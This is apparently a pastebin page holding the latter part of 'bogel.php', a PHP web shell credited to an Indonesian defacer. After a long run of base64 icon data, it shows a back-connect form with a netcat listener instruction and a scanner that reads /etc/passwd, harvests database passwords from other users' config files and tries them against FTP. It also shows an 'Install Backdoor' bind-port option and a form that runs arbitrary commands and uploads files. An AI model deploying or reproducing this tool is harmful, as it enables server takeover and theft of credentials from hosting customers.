  2541. "ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
  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MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA".
  2583. "AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=",
  2584. "up"=>
  2585. "R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA".
  2586. "AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg".
  2587. "+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV".
  2588. "IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==",
  2589. "write"=>
  2590. "R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA".
  2591. "AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze".
  2592. "EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61".
  2593. "LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==",
  2594. "ext_asp"=>
  2595. "R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/".
  2596. "/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI".
  2597. "D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=",
  2598. "ext_mp3"=>
  2599. "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU".
  2600. "aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc".
  2601. "IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=",
  2602. "ext_avi"=>
  2603. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM".
  2604. "WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4".
  2605. "PYXCyg+V2i44XeRmSfYqsGhAAgA7",
  2606. "ext_cgi"=>
  2607. "R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9".
  2608. "DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6".
  2609. "LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S".
  2610. "Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ".
  2611. "Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2612. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2613. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2614. "AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM".
  2615. "BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD".
  2616. "AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi".
  2617. "RYtMAgEAOw==",
  2618. "ext_cmd"=>
  2619. "R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI".
  2620. "eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN".
  2621. "dmrYAMn1onq/YKpjvEgAADs=",
  2622. "ext_cpp"=>
  2623. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC".
  2624. "WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra".
  2625. "Eq7YrLDE7a4SADs=",
  2626. "ext_ini"=>
  2627. "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL".
  2628. "aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM".
  2629. "SnEjgPVarHEHgrB43JvszsQEADs=",
  2630. "ext_diz"=>
  2631. "R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs".
  2632. "/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv".
  2633. "/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3".
  2634. "/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr".
  2635. "/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4KEBJYI4UrPF".
  2648. "CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA".
  2649. "Ow==",
  2650. "ext_doc"=>
  2651. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR".
  2652. "WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq".
  2653. "MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=",
  2654. "ext_exe"=>
  2655. "R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7".
  2656. "WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt".
  2657. "xhIAOw==",
  2658. "ext_h"=>
  2659. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB".
  2660. "WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo".
  2661. "Wq/NknbbSgAAOw==",
  2662. "ext_hpp"=>
  2663. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF".
  2664. "WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR".
  2665. "UqUagnbLdZa+YFcCADs=",
  2666. "ext_htaccess"=>
  2667. "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6".
  2668. "WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ".
  2669. "AAA7",
  2670. "ext_html"=>
  2671. "R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz".
  2672. "c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P".
  2673. "KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk".
  2674. "Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR".
  2675. "ADs=",
  2676. "ext_jpg"=>
  2677. "R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA".
  2678. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci".
  2679. "Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd".
  2680. "FxEAOw==",
  2681. "ext_js"=>
  2682. "R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH".
  2683. "k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs".
  2684. "a00AjYYBbc/o9HjNniUAADs=",
  2685. "ext_lnk"=>
  2686. "R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO".
  2687. "NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi".
  2688. "Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk".
  2689. "AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG".
  2690. "MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA".
  2691. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2692. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2693. "AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5".
  2694. "NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf".
  2695. "1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ".
  2696. "ADs=",
  2697. "ext_log"=>
  2698. "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA".
  2699. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN".
  2700. "zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==",
  2701. "ext_php"=>
  2702. "R0lGODlhEAAQAIABAAAAAP///ywAAAAAEAAQAAACJkQeoMua1tBxqLH37HU6arxZYLdIZMmd0OqpaGeyYpqJlRG/rlwAADs=",
  2703. "ext_pl"=>
  2704. "R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo".
  2705. "GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7",
  2706. "ext_swf"=>
  2707. "R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O".
  2708. "nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
  2709. "ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA".
  2710. "GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC".
  2711. "NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=",
  2712. "ext_tar"=>
  2713. "R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC".
  2714. "Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF".
  2715. "HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD".
  2716. "UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p".
  2717. "uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2718. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2719. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2720. "AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg".
  2721. "GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd".
  2722. "HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB".
  2723. "u4tLAgEAOw==",
  2724. "ext_txt"=>
  2725. "R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ".
  2726. "SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7".
  2727. "UpPWG3Ig6Hq/XmRjuZwkAAA7",
  2728. "ext_wri"=>
  2729. "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA".
  2730. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao".
  2731. "a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=",
  2732. "ext_xml"=>
  2733. "R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA".
  2734. "gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2735. "AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx".
  2736. "OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ".
  2737. "IQA7"
  2738. );
  2739. $imgequals = array(
  2740.   "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"),
  2741.   "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"),
  2742.   "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"),
  2743.   "ext_html"=>array("ext_html","ext_htm"),
  2744.   "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"),
  2745.   "ext_lnk"=>array("ext_lnk","ext_url"),
  2746.   "ext_ini"=>array("ext_ini","ext_css","ext_inf"),
  2747.   "ext_doc"=>array("ext_doc","ext_dot"),
  2748.   "ext_js"=>array("ext_js","ext_vbs"),
  2749.   "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"),
  2750.   "ext_wri"=>array("ext_wri","ext_rtf"),
  2751.   "ext_swf"=>array("ext_swf","ext_fla"),
  2752.   "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"),
  2753.   "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so")
  2754. );  
  2755.  
  2756. if (!$getall) {
  2757.   header("Content-type: image/gif");
  2758.   header("Cache-control: public");
  2759.   header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
  2760.   header("Cache-control: max-age=".(60*60*24*7));
  2761.   header("Last-Modified: ".date("r",filemtime(__FILE__)));
  2762.   foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}}
  2763.   if (empty($images[$img])) {$img = "small_unk";}
  2764.   if (in_array($img,$ext_tar)) {$img = "ext_tar";}
  2765.   echo base64_decode($images[$img]);
  2766. }
  2767. else {
  2768.   foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}}
  2769.   natsort($images);
  2770.   $k = array_keys($images);
  2771.   echo  "<center>";
  2772.   foreach ($k as $u) {echo $u.":<img src=\"".$surl."x=img&img=".$u."\" border=\"1\"><br>";}
  2773.   echo "</center>";
  2774. }
  2775. exit;
  2776. }
  2777.  
  2778. if ($x == "konak") {
  2779.   $ip = $_SERVER["REMOTE_ADDR"];
  2780.   $msg = $_POST['backcconnmsg'];
  2781.   $emsg = $_POST['backcconnmsge'];
  2782.   echo("<center><b>[&#8224;] ./backconnect [&#8224;]</b></br></br><form name=form method=POST>Host:<input type=text name=backconnectip size=15 value=$ip> Port: <input type=text name=backconnectport size=15 value=4545> Use: <select size=1 name=use><option value=Perl>PL</option></select> <input type=submit name=submit value=Connect></form>kalaian run dolo di console atau server kalian <b>nc -lvp4545</b>, dan masukna ip sama portnya pada kedua kolom di atas. <b>baru kalian klik connectnya</b>'<br><br></center>");
  2783.   echo("$msg");
  2784.   echo("$emsg");
  2785.  
  2786. }
  2787.  
  2788. if ($x == "cP"){
  2789.         if ($_GET['go'] == 'go'){
  2790.     set_time_limit(0);
  2791.         ##################
  2792.         @$passwd=fopen('/etc/passwd','r');
  2793.         if (!$passwd) {
  2794.            echo "[-] Error : coudn't read /etc/passwd";
  2795.            exit;
  2796.         }
  2797.         $path_to_public=array();
  2798.         $users=array();
  2799.         $pathtoconf=array();
  2800.         $i=0;
  2801.        
  2802.         while(!feof($passwd)) {
  2803.           $str=fgets($passwd);
  2804.           if ($i>35) {
  2805.                 $pos=strpos($str,":");
  2806.                 $username=substr($str,0,$pos);
  2807.                 $dirz="/home/$username/public_html/";
  2808.                 if (($username!="")) {
  2809.                         if (is_readable($dirz)) {
  2810.                                 array_push($users,$username);
  2811.                                 array_push($path_to_public,$dirz);
  2812.                         }
  2813.                 }
  2814.           }
  2815.           $i++;
  2816.         }
  2817.         ###################
  2818.        
  2819.         #########################
  2820.         function read_dir($path,$username) {
  2821.                 if ($handle = opendir($path)) {
  2822.                         while (false !== ($file = readdir($handle))) {
  2823.                                   $fpath="$path$file";
  2824.                                   if (($file!='.') and ($file!='..')) {
  2825.                                          if (is_readable($fpath)) {
  2826.                                                 $dr="$fpath/";
  2827.                                                 if (is_dir($dr)) {
  2828.                                                    read_dir($dr,$username);
  2829.                                                 }
  2830.                                                 else {
  2831.                                                          if (($file=='config.php')
  2832.                         or ($file=='configuration.php')
  2833.                         or ($file=='wp-config.php')
  2834.                         or ($file=='config.inc.php')
  2835.                         or ($file=='database.php')
  2836.                         or ($file=='conf.php')
  2837.                         or ($file=='settings.php')
  2838.                         or ($file=='setting.php')
  2839.                                                 or ($file=='inc.php')
  2840.                         or ($file=='corn.php')
  2841.                         or ($file=='configs.php')
  2842.                         or ($file=='konfig.php')
  2843.                         or ($file=='dbconf.php')
  2844.                         or ($file=='koneksi.php')
  2845.                         or ($file=='dbconfig.php')
  2846.                         or ($file=='db.inc.php')
  2847.                         or ($file=='db_connect.php')
  2848.                         or ($file=='dbconnect.php')
  2849.                         or ($file=='db-connect.php')
  2850.                         or ($file=='configure.php')
  2851.                         or ($file=='global.php')
  2852.                         or ($file=='connect.php')
  2853.                         or ($file=='db.php')
  2854.                         or ($file=='conf_db.php')
  2855.                         or ($file=='database.inc.php')
  2856.                         or ($file=='database.php')
  2857.                         or ($file=='connection.php')
  2858.                         or ($file=='connections.php')
  2859.                         or ($file=='configure.class.php')
  2860.                         or ($file=='config.class.php')
  2861.                         or ($file=='configuration.class.php')
  2862.                         or ($file=='db.class.php')
  2863.                         or ($file=='file_manager.php')
  2864.                         or ($file=='LocalSettings.php')
  2865.                         or ($file=='filemanager.php')
  2866.                         or ($file=='manager.php')
  2867.                         or ($file=='managers.php')
  2868.                         or ($file=='connect.inc.php')
  2869.                         or ($file=='dbconnect.inc.php'))
  2870.                                                                  {
  2871.                                                                 $pass=get_pass($fpath);
  2872.                                                                 if ($pass!='') {
  2873.                                                                    echo "[+] $fpath\n$pass\n";
  2874.                                                                    ftp_check($username,$pass);
  2875.                                                                 }
  2876.                                                          }
  2877.                                                 }
  2878.                                          }
  2879.                                   }
  2880.                         }
  2881.                 }
  2882.         }
  2883.        
  2884.         function get_pass($link) {
  2885.                 @$config=fopen($link,'r');
  2886.                 while(!feof($config)) {
  2887.                         $line=fgets($config);
  2888.                         if (strstr($line,'pass') or strstr($line,'password') or strstr($line,'pwd') or strstr($line,'kode') or strstr($line,'mypassword') or strstr($line,'passwd')) {
  2889.                                 if (strrpos($line,'"'))
  2890.                                    $pass=substr($line,(strpos($line,'=')+3),(strrpos($line,'"')-(strpos($line,'=')+3)));
  2891.                                 else
  2892.                                    $pass=substr($line,(strpos($line,'=')+3),(strrpos($line,"'")-(strpos($line,'=')+3)));
  2893.                                 return $pass;
  2894.                         }
  2895.                 }
  2896.         }
  2897.        
  2898.         function ftp_check($login,$pass) {
  2899.                  @$ftp=ftp_connect('127.0.0.1');
  2900.                  if ($ftp) {
  2901.                         @$res=ftp_login($ftp,$login,$pass);
  2902.                         if ($res) {
  2903.                            echo '[ Sukses Bos ] '.$login.':'.$pass."  W00t\n";
  2904.                         }
  2905.                         else ftp_quit($ftp);
  2906.                  }
  2907.         }
  2908.        
  2909.         echo "<br><br>";
  2910.         echo "<textarea name='main_window' cols=100 rows=20>";
  2911.        
  2912.         echo "[+] Found ".sizeof($users)." entrys in /etc/passwd\n";
  2913.         echo "[+] Found ".sizeof($path_to_public)." readable public_html directories\n";
  2914.        
  2915.         echo "[~] Searching for passwords in config.* files...\n\n";
  2916.         foreach ($users as $user) {
  2917.                         $path="/home/$user/public_html/";
  2918.                         read_dir($path,$user);
  2919.         }
  2920.        
  2921.         echo "\n[+] Udah\n";
  2922.        
  2923.         echo "</textarea><br>";
  2924.         }else
  2925.         echo '<center>cPanel Scan<br><a href="'.$surl.'x=cP&go=go">OK</a> || <a href="'.$surl.'">CANCEL</a></center>';
  2926. }
  2927.  
  2928. if ($x == "sleep"){
  2929.   $msg = $_POST['backcconnmsg'];
  2930.   $emsg = $_POST['backcconnmsge'];
  2931.   echo("<center><b>[&#8224;] ./backdoor [&#8224;]</b><br><br><form name=form method=POST>
  2932.   Bind Port: <input type='text' name='backconnectport' value='21212'>
  2933.   <input type='hidden' name='use' value='sleep'>
  2934.   <input type='submit' value='Install Backdoor'></form>");
  2935.   echo("$msg");
  2936.   echo("$emsg");
  2937.   echo("</center>");
  2938. }
  2939.  
  2940. if ($x == "sken"){
  2941. set_time_limit(0);
  2942.  
  2943. ($x0b = ini_get('safe_mode') == 0) ? $x0b = 'off': die('<b>Error: Safe Mode is On</b>');
  2944.  
  2945. @$x0c = fopen('/etc/passwd','r');
  2946.  
  2947. if (!$x0c) { die('<b> Error : Can Not Read Config Of Server </b>'); }
  2948.  
  2949. // $x0d = array();
  2950. // $x0e = array();
  2951. // $x0f = array();
  2952. // $x10 = 0;
  2953.  
  2954. while(!feof($x0c)){
  2955.     // baca baris...
  2956.     // $x11 = fgets($x0c);
  2957.     // if ($x10 < 35){
  2958.     while($x11 = fgets($x0c)){
  2959.        
  2960.         $x12 = strpos($x11,':');
  2961.  
  2962.         $x13 = substr($x11,0,$x12);
  2963.  
  2964.  
  2965.         $x14 = '/home/'.$x13.'/public_html';
  2966.         if (($x13 != '')){
  2967.            
  2968.             if (is_readable($x14)){
  2969.  
  2970.                 echo "<font face=Verdana size=2 color=#c000ff>[&#8224;] oK [&#8224;] $x14</font>";
  2971.                 echo "<br/>";
  2972.             }    
  2973.         }
  2974.     }
  2975.     // $x10++;
  2976.  }
  2977. }
  2978.  
  2979. echo "</td></tr></table>\n";
  2980. ?>
  2981. <div  class=barheader2><b>[&#8224;] Command Panel [&#8224;]</b></div>
  2982. <table class=mainpanel>
  2983. <?php
  2984. if (!$safemode) {
  2985. ?>
  2986. <tr><td align=right>Command:</td>
  2987. <td><form method="POST">
  2988.     <input type=hidden name=x value="cmd">
  2989.     <input type=hidden name="d" value="<?php echo $dispd; ?>">
  2990.     <input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>">
  2991.     <input type=hidden name="cmd_txt" value="1"> - <input type=submit name=submit value="Execute">
  2992.     </form>
  2993. </td></tr>
  2994. <tr><td align=right>Quick Commands:</td>
  2995. <td><form method="POST">
  2996.     <input type=hidden name=x value="cmd">
  2997.     <input type=hidden name="d" value="<?php echo $dispd; ?>">
  2998.     <input type=hidden name="cmd_txt" value="1">
  2999.     <select name="cmd">
  3000.     <?php
  3001.     foreach ($cmdaliases as $als) {
  3002.       echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";
  3003.     }
  3004.     foreach ($cmdaliases2 as $als) {
  3005.       echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";
  3006.     }
  3007.     ?>
  3008.     </select> -
  3009.     <input type=submit name=submit value="Execute">
  3010.     </form>
  3011. </td></tr>
  3012. <?php
  3013. }
  3014. ?>
  3015. <tr><td align=right>Upload:</td>
  3016. <td><form method="POST" enctype="multipart/form-data">
  3017.     <input type=hidden name=x value="upload">
  3018.     <input type=hidden name="miniform" value="1">
  3019.     <input type="file" name="uploadfile"> - <input type=submit name=submit value="Upload"> <?php echo $wdt; ?>
  3020.     </form>
  3021. </td></tr>
  3022. <tr><td align=right>Make File:</td>
  3023. <td><form method="POST"><input type=hidden name=x value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit">
  3024.     <input type="text" name="mkfile" size="70" value="<?php echo $dispd; ?>"> - <input type=submit value="Create"> <?php echo $wdt; ?>
  3025.     </form></td></tr>
  3026. <tr><td align=right>View File:</td>
  3027. <td><form method="POST"><input type=hidden name=x value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>">
  3028.     <input type="text" name="f" size="70" value="<?php echo $dispd; ?>"> - <input type=submit value="View">
  3029.     </form></td></tr>
  3030. </table>
  3031. <div class=barheader2 colspan=2><font color=white>[&#8224;]   ./bogel | Jayalah Indonesia Ku | <a href="http://zone-h.org/archive/notifier=bogel" target="_blank">envir0nn@yahoo.com</a>   [&#8224;]</font></div>
  3032. </body></html>

Reply to "bogel.php"

Here you can reply to the paste above